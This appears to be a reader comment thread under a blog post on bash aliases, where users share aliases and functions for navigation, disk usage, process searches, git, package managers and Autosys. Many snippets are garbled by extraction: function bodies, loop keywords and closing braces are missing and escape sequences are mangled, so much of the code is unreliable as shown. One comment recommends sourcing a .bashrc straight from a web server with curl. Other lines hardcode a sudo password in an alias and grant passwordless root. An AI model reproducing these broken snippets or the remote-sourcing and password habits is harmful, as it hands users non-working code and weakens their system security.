182 comment

  1. Nice list; found a couple new things I never thought of. To return the favor; my addon..

    A nice shell is key in bash imo; I color code my next line based on previous commands return code..

        prevCmd=$(prevCmd $RTN)
        if [ $1 == 0 ] ; then
            echo $GREEN
            echo $RED
    if [ $(tput colors) -gt 0 ] ; then
        RED=$(tput setaf 1)
        GREEN=$(tput setaf 2)
        RST=$(tput op)
    export PS1="[e[36m]u.h.W[e[0m][$prevCmd]>[$RST]"

    And I liked your .{1,2,3,4} mapping; how I integrated it…

    for i in 1 2 3 4
        alias $baseName="cd ${dotSlash}"

    And two random quick short ones..

    #progress bar on file copy. Useful evenlocal.
    alias cpProgress="rsync --progress -ravz"
    #I find it useful when emailing blurbs to people and want to illustrate long timeout in one pass.
    alias ping="time ping"
    1. The following is my version of the “up function” I came up with this morning:

      # Functions
      up () {
              while [[ $COUNTER -gt 0 ]]
                COUNTER=$(( $COUNTER -1 ))
              echo "cd $UP"
              cd $UP
  2. Show text file without comment (#) lines (Nice alias for /etc files which have tons of comments like /etc/squid.conf)

    alias nocomment='grep -Ev '''^(#|$)''''

    Usage e.g.:

    nocomment /etc/squid.conf
  3. @linuxnetzer, nocommand is nice to dump squid, httpd and many others config files.

    @mchris, I liked cp alias that can show progress.

    Appreciate your comments.

  4. Nice tricks.
    But be careful with some aliases (typically the #7 mount), since you won’t be able to use them directly when you pass arguments .

    [[email protected] ~]# alias mount=’mount |column -t’
    [[email protected] ~]# mount myserver:/share /mnt
    column: myserver:/share: No such file or directory

    It’s better to use scripts whith these kinds of commands

    1. You are very right in your appreciation. An alias is a “dumb” substitution in that it doesn’t interpret arguments.

    2. Do it this way:

      alias mountt=’mount |column -t’

      (note the double “t”) and than you can use the original mount command to do its job.

  5. Don’t forget… sl=”ls”. Though Steam Locomotive is funny for a while, this is always the easier solution.

  6. My bashrc has been with me for over a decade. I love to tinker and modify it a bunch, so I’ve added an alias I borrowed/stole/ganked from someone ages ago:

    alias='$EDITOR ~/.bashrc ; source ~/.bashrc'
    1. Hi esritter … I’m relatively new to Linux, so I don’t understand your alias. Can you please explain?

      1. A more explicit version of that alias (that I use) would look like:

        alias bashrc="vim ~/.bashrc && source ~/.bashrc

        Basically, it runs `source` for you once you save&exit the file. `source` picks up changes in the file.

      2. this will open ~/.bashrc in your $EDITOR (which should be set to vim/emacs something) then re-load the ~/.bashrc so your tweaks are available immediately.

  7. Nice commands!
    In case you would like to be shown the contents of a directory immediately after moving to it by cd DIRECTORY you could define the following function in .bashrc:

    cdl()    {
      ls -al;
    You can modify the options of ls to meet your needs of course. Next time you switch directories on the command line with 'cdl DIRECTORY' it will automatically execute the command 'ls -al', displaying all subdirectories and files (hidden ones as well when setting the option -a). I hope this will be useful for someone. In case you like the alias, do not forget to change
    alias ..='cd ..'
    alias ..='cdl ..'

    1. It is really useful but how do you using this on the alias line….
      alias …….= ‘………………………..’

      1. I think it’s not possible, because ‘alias’ can’t accept input, just like we did with $1 here.

  8. Here are 4 commands i use for checking out disk usages.

    #Grabs the disk usage in the current directory
    alias usage='du -ch | grep total'
    #Gets the total disk usage on your machine
    alias totalusage='df -hl --total | grep total'
    #Shows the individual partition usages without the temporary memory values
    alias partusage='df -hlT --exclude-type=tmpfs --exclude-type=devtmpfs'
    #Gives you what is using the most space. Both directories and files. Varies on
    #current directory
    alias most='du -hsx * | sort -rh | head -10'
    1. Thank you all for your aliases.
      I found this one long time ago and it proved to be useful.

      # shoot the fat ducks in your current dir and sub dirs
      alias ducks=’du -ck | sort -nr | head’

    2. While it would still work, the problem with usage=’du -ch | grep total’ is that you will also get directory names that happen to also have the word ‘total’ in them.

      A better way to do this might be: ‘du -ch | tail -1’

      1. Over dinner I thought to myself “hmm, what if I want to use the total in a script?” and came up with this in mid entrée:

        du -h | awk ‘END{print $1}’

        Now you’ll just get something like: 92G

  9. I always create a ps2 command that I can easily pass a string to and look for it in the process table. I even have it remove the grep of the current line.

    alias ps2=’ps -ef | grep -v $$ | grep -i ‘

  10. Nice post. Thanks.
    @oll & Vivek: I’m sure you know this, but to leave trace of it in this page I’ll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
    I keep some files under version control, hard-linking to those files into a given folder, so I want find to ignore that folder, and I don’t want to re-think and re-check how to use prune option every time:

    function f {
    	arg_path=$1 && shift
    	find $arg_path -wholename "*/path-to-ignore/*" -prune -o $* -print
  11. # This will move you up by one dir when pushing AltGr .
    # It will move you back when pushing AltGr Shift .
    bind ‘”…”:”pushd ..n”‘ # AltGr .
    bind ‘”÷”:”popdn”‘ # AltGr Shift .


  12. One more thing to keep in mind is the difference in syntax between shells. I used to work on a system that used HP-UX and Sun Solaris, and the alias commands were different. One system used
    alias ll=’ls -l’
    and the other one (I can’t remember which was which, sorry) was
    alias ll ‘ls -l’

    Something to be aware of!

    Thanks for this article and the site, V! Keep ’em coming!

  13. I would use a function for df:
    df () {
    if [[ “$1” = “-gt” ]]; then
    x=$x” $@”
    /bin/df $x -P |column -t

    That way you can put “df -k /tmp” (etc).
    … I work with AIX a lot, so often end up typing “df -gt”, so that’s why the if statement is there.

    I also changed “mount” to “mnt” for the column’s:
    alias mnt=”mount |column -t”

  14. Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).

    A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did “rm *” in the customer’s work directory and all he got was the prompt for the next command after rm had done what it was told to do.

    It you want a safety net, do “alias del=’rm -I –preserve_root'”,

  15. Great post I’ve been looking for something like this I always tend to go about things the long way round. With these alias and some shell scripting I’m really starting to cut down on wasted time!

    Thanks again!

  16. I use this one when I need to find the files that has been added/modified most recently:

    alias lt=’ls -alrt’

  17. # file tree
    alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
    #turn screen off
    alias screenoff="xset dpms force off"
    # list folders by size in current directory
    alias usage="du -h --max-depth=1 | sort -rh"
    # e.g., up -> go up 1 directory
    # up 4 -> go up 4 directories
        if [[ $1 =~ ^[0-9]+$ ]]; then
            while [ $x -lt ${1:-1} ]; do
        cd "$dir";
  18. might be a repost, oops

    # ganked these from people
    #not an alias, but I thought this simpler than the cd control
    #If you pass no arguments, it just goes up one directory.
    #If you pass a numeric argument it will go up that number of directories.
    #If you pass a string argument, it will look for a parent directory with that name and go up to it.
        if [ -z "$1" ]; then
        elif [[ $1 =~ ^[0-9]+$ ]]; then
            while [ $x -lt ${1:-1} ]; do
        cd "$dir";
    #turn screen off
    alias screenoff="xset dpms force off"
    #quick file tree
    alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
  19. a little mistake, not really important if you don’t copy/paste like a dumbass 🙂

    alias iptlistfw=’sudo /sbin/iptables -L FORWORD -n -v –line-numbers’

    it is “FORWARD”, not “FORWORD”

  20. In “Task: Disable an alias temporarily (bash syntax)”

    ## path/to/full/command


    ## call alias with a backslash ##

    c ===> This should be clear right?

      1. True, but unless you have a program called ‘c’, this doesn’t do anything useful. The example doesn’t really illustrate the point. This one is better:

        ## Interactive remove
        alias rm='rm -i'
        ## Call the alias (interactive remove)
        ## Call the original command (non-interactive remove)
  21. I used it this way.
    I added myself to visudo file with nopasswd privileges.
    so that I don’t have to type password when I do “sudo su -“.
    Then created alias root=’sudo su -‘
    This enables me to log in to root with just “root”.

    by the ways the article is very helpful for everyone who works on linux servers or desktops on everyday basis.
    Mac Maha.

  22. I move across various *nix type OSes. I have found that it’s easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:


    All I have to do then in .bashrc, or .profile, whatever is do this:

    OS=$( uname | tr '[:upper:]' ':[lower:]')
    . $HOME/.aliases-${OS}
    . $HOME/.environment_variables-${OS}


    for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
      . ${SCRIPT}
  23. i have 2 more that haven’t been posted yet:

    helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)

    alias pbcopy='xsel --clipboard --input'
    alias pbpaste='xsel --clipboard --output'

    and something I use rather frequently when people chose funny file/directory names (sad enough):

    chr() {
      printf \$(printf '%03o' $1)
    ord() {
      printf '%d' "'$1"
  24. That was a great list. Here are some of mine:

    I use cdbin to cd into a bin folder that is many subdirectories deep:

    alias cdbin='cd "/mnt/shared/Dropbox/My Documents/Linux/bin/"'

    I can never remember the sync command.

    alias flush=sync

    I search the command history a lot:

    alias hg='history|grep '

    My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.

    alias restsmb='sudo service smb restart'

    I’m surprised that nobody else suggested these:

    alias syi='sudo yum install'
    alias sys='sudo yum search'
  25. I find these aliases are helpful

    alias up1="cd .."
    # edit multiple files split horizontally or vertically
    alias   e="vim -o "
    alias   E="vim -O "
    # directory-size-date (remove the echo/blank line if you desire)
    alias dsd="echo;ls -Fla"
    alias   dsdm="ls -FlAh | more"
    # show directories only
    alias   dsdd="ls -FlA | grep :*/"
    # show executables only
    alias   dsdx="ls -FlA | grep *"
    # show non-executables
    alias   dsdnx="ls -FlA | grep -v *"
    # order by date
    alias   dsdt="ls -FlAtr "
    # dsd plus sum of file sizes
    alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+$5 } END { print "total bytes = ",x }'"
    # only file without an extension
    alias noext='dsd | egrep -v ".|/"'
    # send pwd to titlebar in puttytel
    alias   ttb='echo -ne "33]0;`pwd`07"'
    # send parameter to titlebar if given, else remove certain paths from pwd
    alias   ttbx="titlebar"
    # titlebar
    if [ $# -lt 1 ]
        ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
    echo -ne "33]0;`echo $ttb`07"
    alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
    alias info='clear;machine;pwd'
  26. A couple you might mind useful.

    alias trace='mtr --report-wide --curses $1'
    alias killtcp='sudo ngrep -qK 1 $1 -d wlan0'
    alias usage='ifconfig wlan0 | grep 'bytes''
    alias connections='sudo lsof -n -P -i +c 15'
  27. to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !

  28. You should check $EUID, not $UID, because if the effective user ID isn’t 0, you aren’t root, but if the real/saved user UID is 0, you can seteuid(0) to become root.

  29. Reply to Tom (#42):

    (1) Using `hg’ for `history –grep’ is probably not a good idea if you’re ever going to work with Mercurial SCM.

    (2) Using sudo for `yum search’ is entirely pointless, you don’t need to be root to search the package cache.

  30. alias up1="cd .."
    # edit multiple files split horizontally or vertically
    alias   e="vim -o "
    alias   E="vim -O "
    # directory-size-date (remove the echo/blank line if you desire)
    alias dsd="echo;ls -Fla"
    alias   dsdm="ls -FlAh | more"
    # show directories only
    alias   dsdd="ls -FlA | grep :*/"
    # show executables only
    alias   dsdx="ls -FlA | grep *"
    # show non-executables
    alias   dsdnx="ls -FlA | grep -v *"
    # order by date
    alias   dsdt="ls -FlAtr "
    # dsd plus sum of file sizes
    alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+$5 } END { print "total bytes = ",x }'"
    # only file without an extension
    alias noext='dsd | egrep -v ".|/"'
    # send pwd to titlebar in puttytel
    alias   ttb='echo -ne "33]0;`pwd`07"'
    # send parameter to titlebar if given, else remove certain paths from pwd
    alias   ttbx="titlebar"
    # titlebar
    if [ $# -lt 1 ]
        ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
    echo -ne "33]0;`echo $ttb`07"
    alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
    alias info='clear;machine;pwd'
    1. I will add:

      # file tree of directories only
      alias dirtree="ls -R | grep :*/ | grep ":$" | sed -e 's/:$//' -e 's/[^-][^/]*//--/g' -e 's/^/   /' -e 's/-/|/'"
  31. I’m surprised no one has mentioned:
    alias ls=’ls -F’
    It will show * after executables, / after directories and @ after links.

  32. And for you vi(m) lovers out there, in my .bashrc:
    set -o vi

    esc j,k for searching history using vi semantics. edit line using w, dw, b, F or whatever other as if in vi. Occasionally need to watch that if in command mode, need to press i first so you can actually go back to inserting as opposed to not seeing anything as you attempt to type.
    set -o emacs
    to get back out of this mode if you want to restore it what others have used.

  33. Here are some tidbits I’ve setup to help troubleshoot things quickly

    This one pings a router quickly

    alias pr=”ping `netstat -nr| grep -m 1 -iE ‘default|’ | awk ‘{print $2}’`”

    This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping

    export SN=`netstat -nr| grep -m 1 -iE ‘default|’ | awk ‘{print $2}’ | sed ‘s/.[0-9]*$//’ `
    ping $SN.254
    nmap -p 80 $SN.*

    This command which I just named ‘p’ will call ping and auto populate your current subnet. You’d call it like this to ping the router p 1

    [ “$#” -eq 1 ] || exit “1 argument required, $# provided”
    echo $1 | grep -E -q ‘^[0-9]+$’ || exit “Numeric argument required, $1 provided”
    export HOST=$1
    export SUBNET=`netstat -nr| grep -m 1 -iE ‘default|’ | awk ‘{print $2}’`
    export IP=`echo $SUBNET | sed s/.[0-9]*$/.$HOST/`
    ping $IP

    Quickly reload your .bashrc or .bash_profile

    alias rl=’. ~/.bash_profile’

  34. Clear xterm buffer cache

    alias clearx="echo -e '/0033/0143'"

    Contrary to the clear command that only cleans the visible terminal area. AFAIK It’s not an universal solution but it worths a try.

    Edited by Admin as requested by OP.

  35. I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use ‘aa’ for “add alias.” It is always the first alias I create. Each job and each environ begin with ‘aa’ alias creation. My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html

  36. Nowadays, git is so popular, we can not miss it
    These are my git aliases

    alias g=”git”
    alias gr=”git rm -rf”
    alias gs=”git status”
    alias ga=”g add”
    alias gc=”git commit -m”
    alias gp=”git push origin master”
    alias gl=”git pull origin master”

  37. alias sd=”echo michoser | sudo -S”

    alias ai=”sd apt-get –yes install”
    alias as=”apt-cache search”
    alias ar=”sd apt-get –yes remove”

    alias .p=”pushd .”
    alias p.=”popd”

  38. Regarding the cd aliases (#2), you can use the autocd bash option (run ‘shopt -s autocd’) to change directories without using cd. Then, you can just type ‘..’ to go up one directory, or ‘../..’ to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to ‘.:$HOME’ (run ‘export CDPATH=.:$HOME’), then run ‘cd Documents’ you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).

  39. I don’t use aliases. As the bash man page says:

    “For almost every purpose, aliases are superseded by shell functions.”

    At the top of my .bashrc I have ‘unalias -a’ to get rid of any misguided aliases installed by /etc/profile.

    1. Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called “fastping” I couldn’t seem to make it work. Ideas?

    2. Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don’t necessarily need aliases and aliases will not be available if your working on someone else’s box, but I think a combination makes perfect sense, their quick 🙂

      1. Who says you can’t use your own aliases when working on a box?

        . <(curl -sS domain.tld/scripts/.bashrc)

        1. This is completely brilliant – I am implementing it now.

          Also, I completely agree with whoever said aliasing rm is a very bad idea. I don’t think it’s a good idea to use any alias that can get you into trouble if the alias is not defined.

          Finally, I think it’s a very good idea not to define any alias that will hinder your recall of the command should you be in a situation where you don’t have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with ‘no, I don’t know the options to that command, because I define an alias so I don’t have to remember’ so many times before they conclude you don’t know what you’re talking about.


  40. The aliases that I use the most (also a lot of shell functions):
    alias j=’jobs -l’
    alias h=’history’
    alias la=’ls -aF’
    alias lsrt=’ls -lrtF’
    alias lla=’ls -alF’
    alias ll=’ls -lF’
    alias ls=’ls -F’
    alias pu=pushd
    alias pd=popd
    alias r=’fc -e -‘ # typing ‘r’ ‘r’epeats the last command

  41. Useful alias. Thanks mates.

    I find the following useful too

    alias tf='tail -f '
    # grep in *.cpp files
    alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always '
    # grep in *.cpp files
    alias findhg='find . -iname "*.h" | xargs grep -ni --color=always '
    #finds that help me cleanup when hit the limits
    alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( $1 > 5000) print $0 }'"
    alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( $1 > 500000) print $0 }'"
    #show only my procs
    alias psme='ps -ef | grep $USER --color=always '
  42. Very nice alias list.
    Here’s another very handy alias:

    alias psg='ps -ef | grep'

    ex: looking for all samb processes:

    psg mbd
  43. I did learn some new things. Thanks for that.

    # Do not wait interval 1 second, go fast #
    alias fastping=’ping -c 100 -s.2′

    From reading the man page i gather the ‘-s’ should be ‘-i’ instead.

    -s packetsize
    Specifies the number of data bytes to be sent.

    -i interval
    Wait interval seconds between sending each packet. The
    default is to wait for one second between each packet
    normally, or not to wait in flood mode. Only super-user
    may set interval to values less 0.2 seconds.

  44. Back Up [function, not alias] – Copy a file to the current directory with today’s date automatically appended to the end.

    bu() { cp $@ $@.backup-`date +%y%m%d`; }

    Add to .bashrc or .profile and type: “bu filename.txt”

    I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:

    bu() { cp $@ $@.backup-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }

    I hope someone finds this helpful!

      1. Great idea! Will add this one to my aliases!

        Is there a specific reason to use $@ instead of $1?

        I also added quotes around the parameters, otherwise it won’t work with file names that include whitespace, I have it like this now:

        bu() { cp “$1” “$1”.backup-`date +%y%m%d`; }

    1. Brilliant. Thanks.
      I use this before I edit any config file I might need/want to change back later.
      I also added %H%M%S so I can save a copy each time without dupe file names.
      Thanks again.
      I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….

  45. I am learning to love simple functions in .bashrc

    mcd () {
    mkdir -p $1;
    cd $1

    But the great aliases are in the cmd prompt under windoze:

    run doskey /macrofile=doskey.mac

    then set up a doskey,mac in root directory with the CORRECT commands

    ls=dir $* /o/w
    cat=type $*
    rm=del $*
    lsl=dir $* /o/p

    yes, I have to work in the sludgepit, but I can fix the command set

  46. Since I work in a number of different distributions, I concatenated 17 and 18:

    case $(lsb_release -i | awk ‘{ print $3 }’) in
    alias apt-get=”sudo apt-get”
    alias updatey=”sudo apt-get –yes”
    alias update=’sudo apt-get update && sudo apt-get upgrade’
    alias update=’yum update’
    alias updatey=’yum -y update’

    Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don’t have either of those handy to get the output of lsb_release.

    1. lsb_release is not installed everywhere following code works better for me

      if cat /proc/version | grep -i -e ubuntu -e debian -e raspbian > /dev/null 2>&1 ; then
          alias update="sudo apt-get update && sudo apt-get upgrade";
      elif cat /proc/version | grep -i -e centos -e redhatenterpriseserver -e fedora > /dev/null 2>&1 ; then
          alias update="sudo yum update";
  47. I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use ‘complete’ to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:

    alias kk=’sudo kill’ # Expecting a pid
    pss() {
    [[ ! -n ${1} ]] && return; # bail if no argument
    pro=”[${1:0:1}]${1:1}”; # process-name –> [p]rocess-name (makes grep better)
    ps axo pid,command | grep -i ${pro}; # show matching processes
    pids=”$(ps axo pid,command | grep -i ${pro} | awk ‘{print $1}’)”; # get pids
    complete -W “${pids}” kk # make a completion list for kk

    Now I can do (for example):

    zulu:/Users/frank $ pss ssh
    3661 /usr/bin/ssh-agent -l
    2845 ssh -Nf -L 15900:localhost:5900 [email protected]
    zulu:/Users/frank $ kk 2 (hit escape key to complete 2845)
    zulu:/Users/frank $

  48. Hey, very useful tips!
    here’s mine:

    chmoddr()   {
      # CHMOD _D_irectory _R_ecursivly
      if [ -d "$1" ]; then
       echo "error: please use the mode first, then the directory";
       return 1;
      elif [ -d "$2" ]; then
       find $2 -type d -print0 | xargs -0 chmod $1;
      if [ "$#" -lt 1 ]; then   echo "not enough arguments";    return 1;  fi
      echo "resistence is futile! $1 will be assimilated";
      if [ "$2" != "" ]; then
        _assimilate_opts=" -p$2 ";
      ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
      if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi
      ### begin assimilation
      # copy files
      scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
      scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;
      # import ssh key
      if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then
        ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1";
        ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys"
      ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";
      ### END
      ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;
  49. Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered ‘watch’. I use for monitoring log tails and directory contents and sizes.

    alias watchtail=’watch -n .5 tail -n 20′
    alias watchdir=’watch -n .5 ls -la’
    alias watchsize=’watch -n .5 du -h –max-depth=1′

    1. I forgot that third one: I use for monitoring small directories ( < 100M ). This would choke on large directories. Just increase the watch interval if you need to watch larger directories. The default interval for watch is 2 seconds.

    2. tail has a ‘watch’-like option, though it doesn’t refresh the screen like watch

      tail -f -n 20 (though, really, the line number isn’t as necessary in tail -f as it is in watch)

  50. I have the same “ll” alias, I use constantly. Here are a few others:

    # grep all files in the current directory
    function _grin() { grep -rn --color $1 .;}
    alias grin=_grin
    # find file by name in current directory
    function _fn() { find . -name $1;}
    alias fn=_fn
  51. three letters to tune into my favorite radio stations

    alias dlf=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dlf.m3u|head -1)”
    alias dlr=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dkultur.m3u|head -1)”

    sometimes I swap my keyboards, then I use

    alias tastatur=”setxkbmap -model cherryblue -layout de -variant ,nodeadkeys”

    When using mplayer you may set bookmarks using ‘i’. You may read it easyer using

    mplay() {
    	export EDL=”$HOME/.mplayer/current.edl”
    	/usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
    	echo $(awk ‘{print $2 }’ $EDL | cut -d, -f1 | cut -d. -f1 )

    Buring ISO-images does not need starting GUIs and clicking around

    alias isowrite=”cdrecord dev=1,0,0 fs=32M driveropts=burnfree speed=120 gracetime=1 -v -dao -eject -pad -data

    Be aware the device must be adjusted. Not every default will fit for you to “isowrite /some/where/myimage.iso”.

  52. In 30 years of living at the *nix commandline I found that I really only need 2 aliases
    for my bash shell (used to be ksh, but that’s been a while)

      alias s=less        # use less a lot to see config files and logfiles
      alias lst='ls -ltr'   # most recently updated files last

    when checking for servers and tcp ports for a non root user these are also handy

      alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
      alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"  # Linux only?
  53. I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
    alias mmm=”/standard/target/directory/”
    cp /various/file/source mmm
    but this doesn’t work: just creates a duplicate named mmm

    Is there a way to do this?

    1. Add mmm to $HOME/.bashrc as follows:

      export mmm="/standard/target/directory/"

      Logout and login again. Verify that $mmm is set:

      echo $mmm

      Now run the command:

      cp /various/file/source $mmm


  54. I use this “alias” — its really a function — to do a quick check of JSON files on the command line:

    function json() { cat “$@” | /usr/bin/python -m json.tool ;}

    usage: json file.json

    If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.

    Works great for quickly testing JSON files!

  55. This is a great list most of my favorites have already been listed but this one hasn’t quite been included and i use more than any other, except maybe ‘lt’
    Thanks to James from comment #28 it now doesn’t include the command its self in the list!

    # grep command history.  Uses function so a bare 'gh' doesn't just hang waiting for input.
    function gh () {
      if [ -z "$1" ]; then
        echo "Bad usage. try:gh run_test";
        history | egrep $* |grep -v "gh $*"

    I also offer this modification to your #8

    alias h='history 100'     # give only recent history be default.

    other favorites of mine, all taken from elsewhere, are:

    alias wcl='wc -l'        # count # of lines
    alias perlrep='perl -i -p -e '               # use perl regex to do find/replace in place on files.  CAREFUL!!

    # list file/folder sizes sorted from largest to smallest with human readable sizes

    function dus () {
    du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %sn",res,$2 }'
    1. You want sort -h and du -h

      du -h --max-depth=1 | sort -h

      Sample output :

      368K    ./MACONF
      452K    ./.gimp-2.8
      628K    ./.pip
      1.0M    ./.gstreamer-0.10
      2.6M    ./PROG
      3.3M    ./.adobe
      1.2G    ./BACKUPS
      1.5G    ./.local
      5.3G    ./TMP
  56. # Define a command to cd then print the resulting directory.
    # I do this to avoid putting the current directory in my prompt.
    alias cd=’cdir’
    function cdir ()
    cd “$*”

  57. Lots of great suggestions here.

    I use so many aliases and functions that I needed one to search them.
    function ga() { alias | grep -i $*; functions | grep -i $*}

    This is not so nice with multiple line functions and could be improved with a clever regex.

  58. # Find a file from the current directory
    alias ff='find . -name '
    # grep the output of commands
    alias envg='env | grep -i'
    alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i'
    alias aliasg='alias | grep -i'
    alias hg='history | grep -i'
    # cd to the directory a symbolically linked file is in.
    function cdl {
        if [ "x$1" = "x" ] ; then
            echo "Missing Arg"
        elif [ -L "$1" ] ; then
            link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
            if [ "x$link" = "x" ] ; then
                echo "Failed to get link"
            dirName_=`dirname $link`
            cd "$dirName_"
            echo "$1 is not a symbolic link"
    # cd to the dir that a file is found in.
    function cdff {
        filename=`find . -name $1 | grep -iv "Permission Denied" | head -1`
        if [ "xx${filename}xx" != "xxxx" ] ; then
            if [ -d $dirname ] ; then
                cd $dirname
  59. export EDITOR=vim
    export PAGER=less
    set -o vi
    eval `resize`
    # awk tab delim  (escape '' awk to disable aliased awk)
    tawk='awk -F "t" '
    # case insensitive grep
    alias ig="grep --color -i "
    # ls sort by time
    alias lt="ls -ltr "
    # ls sort by byte size
    alias lS='ls -Slr'
    # ps by process grep  (ie. psg chrome)
    alias psg='ps -ef|grep --color '
    # ps by user
    alias psu='ps auxwwf '
    # ps by user with grep (ie. psug budman)
    alias psug='psu|grep --color '
    # find broken symlinks
    alias brokenlinks='find . -xtype l -printf "%p -> %ln"'
    # which and less a script (ie. ww backup.ksh)
    function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi }
    # use your own vim cfg (useful when logging in as other id's)
    alias vim="vim -u /home/budman/.vimrc"
  60. For those of you who use Autosys:

    # alias to read log files based on current run date (great for batch autosys jobs)
    # ie.  slog mars-reconcile-job-c
    export RUN_DIR=~/process/dates
    function getRunDate {
        print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile)
    function getLogFile {
        print -n $RUN_DIR/$(getRunDate)/log/$1.log
    function showLogFile {
        export LOGFILE=$(getLogFile $1);
        print "nLog File: $LOGFILEn";
        less -z-4 $LOGFILE;
    alias slog="showLogFile "
    # Autosys alaises
    alias av="autorep -w -J "
    alias av0="autorep -w -L0 -J "
    alias avq="autorep -w -q -J "
    alias aq0="autorep -w -L0 -q -J "
    alias ava="autorep -w -D PRD_AUTOSYS_A -J "
    alias avc="autorep -w -D PRD_AUTOSYS_C -J "
    alias avt="autorep -w -D PRD_AUTOSYS_T -J "
    alias am="autorep -w -M "
    alias ad="autorep -w -d -J "
    alias jd="job_depends -w -c -J "
    alias jdd="job_depends -w -d -J "
    alias jrh="jobrunhist -J "
    alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias runjob="sendevent -P 1 -E STARTJOB -J "
    alias killjob="sendevent -P 1 -E KILLJOB -J "
    alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
    alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
    alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
    alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
    alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
    alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J "
    alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J "
    alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J "
    alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
    alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
    alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
    alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"
  61. heres a few i use

    alias killme='slay $USER'
    function gi(){
    npm install --save-dev grunt-"$@"
    function gci(){
    npm install --save-dev grunt-contrib-"$@"
  62. alias v='vim'
    alias vi='vim'
    alias e='emacs'
    alias t='tail -n200'
    alias h='head -n20'
    alias g='git'
    alias p='pushd'
    alias o='popd'
    alias d='dirs -v'
    alias rmf='rm -rf'
    # ls working colorful on all OS'es
